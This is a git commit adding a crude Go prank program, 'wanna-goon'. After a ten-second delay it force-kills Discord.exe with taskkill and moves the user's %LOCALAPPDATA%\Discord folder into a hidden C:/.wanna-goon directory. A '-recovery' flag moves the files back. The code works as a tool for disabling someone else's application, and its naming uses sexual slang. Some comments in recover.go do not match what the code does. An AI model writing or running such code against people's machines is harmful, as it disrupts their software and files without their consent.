wanna goon?
This commit is contained in:
commit
f9bb5afbfb
5 changed files with 190 additions and 0 deletions
5
go.mod
Normal file
5
go.mod
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
module wanna-goon
|
||||||
|
|
||||||
|
go 1.22.5
|
||||||
|
|
||||||
|
require github.com/Merith-TK/utils v0.0.0-20240919202228-115b4d33f5d8
|
2
go.sum
Normal file
2
go.sum
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
github.com/Merith-TK/utils v0.0.0-20240919202228-115b4d33f5d8 h1:YeY93NW1zV+3cln1mCn7otdhtIaXyQOGF/5eYOZVAbQ=
|
||||||
|
github.com/Merith-TK/utils v0.0.0-20240919202228-115b4d33f5d8/go.mod h1:CLEt1JiAB0qvgo24Cdc5WCPxEgGVebvU6SIa5IO9Cao=
|
66
goon.go
Normal file
66
goon.go
Normal file
|
@ -0,0 +1,66 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/Merith-TK/utils/debug"
|
||||||
|
)
|
||||||
|
|
||||||
|
func goonFiles(src string) error {
|
||||||
|
debug.SetTitle("goonFiles")
|
||||||
|
defer debug.ResetTitle()
|
||||||
|
var goonError error
|
||||||
|
var goonDest string
|
||||||
|
src, goonError = filepath.Abs(src)
|
||||||
|
if goonError != nil {
|
||||||
|
return goonError
|
||||||
|
}
|
||||||
|
goonDest = filepath.ToSlash(src)
|
||||||
|
|
||||||
|
_, err := os.Stat(src)
|
||||||
|
if os.IsNotExist(err) {
|
||||||
|
return fmt.Errorf("source path does not exist: %s", src)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("could not stat source path: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
goonDest = strings.TrimPrefix(goonDest, "C:/")
|
||||||
|
userProfile := os.Getenv("USERPROFILE")
|
||||||
|
if userProfile == "" {
|
||||||
|
return fmt.Errorf("could not get USERPROFILE environment variable")
|
||||||
|
}
|
||||||
|
|
||||||
|
goonDestPath := filepath.Join("C:/", ".wanna-goon", goonDest)
|
||||||
|
debug.Print("gooning:", src)
|
||||||
|
debug.Print("to:", goonDestPath)
|
||||||
|
goonError = os.MkdirAll(filepath.Dir(goonDestPath), os.ModePerm)
|
||||||
|
if goonError != nil {
|
||||||
|
return fmt.Errorf("could not create directory %s: %v", goonDestPath, goonError)
|
||||||
|
}
|
||||||
|
|
||||||
|
goonError = os.Rename(src, goonDestPath)
|
||||||
|
if goonError != nil {
|
||||||
|
return fmt.Errorf("could not move file from %s to %s: %v", src, goonDestPath, goonError)
|
||||||
|
}
|
||||||
|
|
||||||
|
return goonError
|
||||||
|
}
|
||||||
|
|
||||||
|
func goonProgram(exeName string) error {
|
||||||
|
var err error
|
||||||
|
debug.SetTitle("cooming")
|
||||||
|
defer debug.ResetTitle()
|
||||||
|
cmdKill := exec.Command("cmd", "/C", "taskkill /IM", exeName, "/F")
|
||||||
|
err = cmdKill.Run()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println("Error killing Discord process:", err)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
57
main.go
Normal file
57
main.go
Normal file
|
@ -0,0 +1,57 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/Merith-TK/utils/debug"
|
||||||
|
)
|
||||||
|
|
||||||
|
var recovery bool
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
flag.BoolVar(&recovery, "recovery", false, "Undo Fuckery")
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if recovery {
|
||||||
|
restoreFiles()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
userdata := os.Getenv("USERPROFILE")
|
||||||
|
debug.Print(fmt.Sprintf("USERPROFILE: %s", userdata))
|
||||||
|
|
||||||
|
localAppData := os.Getenv("LOCALAPPDATA")
|
||||||
|
debug.Print(fmt.Sprintf("LOCALAPPDATA: %s", localAppData))
|
||||||
|
|
||||||
|
programs := []string{
|
||||||
|
"Discord.exe",
|
||||||
|
}
|
||||||
|
|
||||||
|
time.Sleep(10 * time.Second)
|
||||||
|
|
||||||
|
files := []string{
|
||||||
|
fmt.Sprintf("%s\\Discord", localAppData),
|
||||||
|
"file2.txt",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, program := range programs {
|
||||||
|
err := goonProgram(program)
|
||||||
|
if err != nil {
|
||||||
|
debug.Print(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, file := range files {
|
||||||
|
err := goonFiles(file)
|
||||||
|
if err != nil {
|
||||||
|
debug.Print(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
60
recover.go
Normal file
60
recover.go
Normal file
|
@ -0,0 +1,60 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/Merith-TK/utils/debug"
|
||||||
|
)
|
||||||
|
|
||||||
|
// restoreFiles restores files from a backup directory to their original locations.
|
||||||
|
// It sets the debug title to "Restor" and retrieves the user's profile directory.
|
||||||
|
// If the USERPROFILE environment variable is not set, it returns an error.
|
||||||
|
// It then constructs the path to the "wanna-goon" directory within the user's profile.
|
||||||
|
// For each folder in the "wanna-goon" directory, it iterates over subfolders and moves them
|
||||||
|
// to their respective drive letters. For example, "wanna-goon/C/Users/" gets moved to "C:/Users/"
|
||||||
|
// and "wanna-goon/E/Files/" gets moved to "E:/Files/".
|
||||||
|
func restoreFiles() error {
|
||||||
|
debug.SetTitle("Restore")
|
||||||
|
defer debug.ResetTitle()
|
||||||
|
userProfile := os.Getenv("USERPROFILE")
|
||||||
|
if userProfile == "" {
|
||||||
|
return fmt.Errorf("could not get USERPROFILE environment variable")
|
||||||
|
}
|
||||||
|
|
||||||
|
wannaGoonPath, wannaGoonErr := filepath.Abs("C:/.wanna-goon")
|
||||||
|
if wannaGoonErr != nil {
|
||||||
|
return fmt.Errorf("could not get absolute path for .wanna-goon: %v", wannaGoonErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
err := filepath.Walk(wannaGoonPath, func(path string, info os.FileInfo, err error) error {
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if info.IsDir() {
|
||||||
|
destPath := filepath.Join("C:/", strings.TrimPrefix(path, wannaGoonPath))
|
||||||
|
debug.Print("creating directory:", destPath)
|
||||||
|
if err := os.MkdirAll(destPath, os.ModePerm); err != nil {
|
||||||
|
return fmt.Errorf("could not create directory %s: %v", destPath, err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
destPath := filepath.Join("C:/", strings.TrimPrefix(path, wannaGoonPath))
|
||||||
|
debug.Print("moving file:", path, "to:", destPath)
|
||||||
|
if err := os.Rename(path, destPath); err != nil {
|
||||||
|
return fmt.Errorf("could not move file %s to %s: %v", path, destPath, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("error restoring files: %v", err)
|
||||||
|
} else {
|
||||||
|
debug.Print("files restored successfully")
|
||||||
|
if err := os.RemoveAll(wannaGoonPath); err != nil {
|
||||||
|
return fmt.Errorf("could not remove wanna-goon directory: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
Loading…
Reference in a new issue